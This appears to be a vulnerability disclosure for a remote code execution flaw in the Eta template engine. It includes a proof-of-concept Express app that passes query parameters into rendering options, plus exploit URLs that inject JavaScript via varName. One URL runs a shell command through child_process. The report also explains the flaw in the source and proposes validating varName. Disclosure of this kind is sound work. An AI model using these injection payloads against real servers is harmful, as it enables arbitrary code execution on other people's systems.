# Eta Remote Code Execution
Eta may allow an attacker to execute arbitrary javascript code if an attacker could control `config.useWith` and `config.varName`
## Proof of Concept
Here is a vulnerable example with three files: `package.json` `app.js` `views/template.eta`
### package.json
we use the newest version of eta
```json
{
"dependencies": {
"eta": "^1.14.2",
"express": "^4.18.2"
}
}
```
### app.js
```javascript=
var express = require("express")
var app = express()
var eta = require("eta")
app.engine("eta", eta.renderFile)
app.set("view engine", "eta")
app.set("views", "./views")
app.get("/", function (req, res) {
// https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
res.render("template",
req.query
)
})
app.get("/pp", function (req, res) {
// assume that the app has prototype pollution vulnerability
// so the attacker could control the following
let sth_that_has_prototype_poisoning = {}
sth_that_has_prototype_poisoning.__proto__.useWith = '1'
sth_that_has_prototype_poisoning.__proto__.varName = 'it=console.log(123)'
res.render("template")
})
app.listen(8000, function () {
console.log("listening to requests on port 8000")
})
```
### views/template.eta
```html
My favorite template engine is <%= it.favorite %>
```
### Exploit
visit the URL below will lead to the execution of the javascript code `console.log(41414141)` on the node.js backend without triggering any error
```
http://localhost:8000/?useWith=1&varName=it=console.log(41414141)
```
we could also execute OS command `touch /tmp/hacked` with
```
http://localhost:8000/?useWith=1&varName=it=process.mainModule.constructor._load('child_process').exec('touch /tmp/hacked')
```
if the app has prototype pollution vulnerability
we could achieve the same thing
```
http://localhost:8000/pp
```
## Detail
This section will point out the location of the vulnerability
### compileToString
https://github.com/eta-dev/eta/blob/811b6be5ac185b4c0a3f9810c5532c97b592b0ab/src/compile-string.ts#L21-L53
in `/src/compile-string.ts:29`
`config.varName` will be concatenated to `res` if `config.useWith` is a truthy value
`res` will be used as a function body in `/src/compile.ts:43` and will be called at either `/src/render.ts:141` (sync) or `/src/render.ts:160` (async)
the resulting function body in our first payload will be the following
which will execute `console.log(41414141)` on line 3
```javascript=
var tR='',__l,__lP,include=E.include.bind(E),includeFile=E.includeFile.bind(E)
function layout(p,d){__l=p;__lP=d}
with(it=console.log(41414141)||{}){tR+='<h1>My favorite template engine is '
tR+=E.e(it.favorite)
tR+=' <br></h1>\n<a href=\'app.js\'>source</a>\n'
if(__l)tR=includeFile(__l,Object.assign(it=console.log(41414141),{body:tR},__lP))
if(cb){cb(null,tR)} return tR}
```
<!--
https://github.com/eta-dev/eta/blob/811b6be5ac185b4c0a3f9810c5532c97b592b0ab/src/compile.ts#L43 -->
## Mitigation
sanitize `config.varName` before concatenating it to `res`
`config.varName` should only be a [valid variable name](https://mathiasbynens.be/notes/javascript-identifiers)
a similar vulnerability in `Pug` was fixed by adding a regex test to the `option`
https://github.com/pugjs/pug/pull/3314/commits/74dc454133b293debd6198ac14fdaebeee5de728#L60
<!-- https://github.blog/2017-08-15-introducing-embedded-code-snippets/ -->
## Reference
<!-- https://github.com/CykuTW/My-CTF-Challenges/tree/master/AIS3-EOF-CTF-2020-Final/echo2/echo2 -->
https://nvd.nist.gov/vuln/detail/CVE-2021-21353
https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
https://tc39.es/ecma262/multipage/fundamental-objects.html#sec-function-objects
https://eta.js.org/docs/examples/express
https://eta.js.org/docs/api/configuration
https://eta.js.org/docs/learn/configuration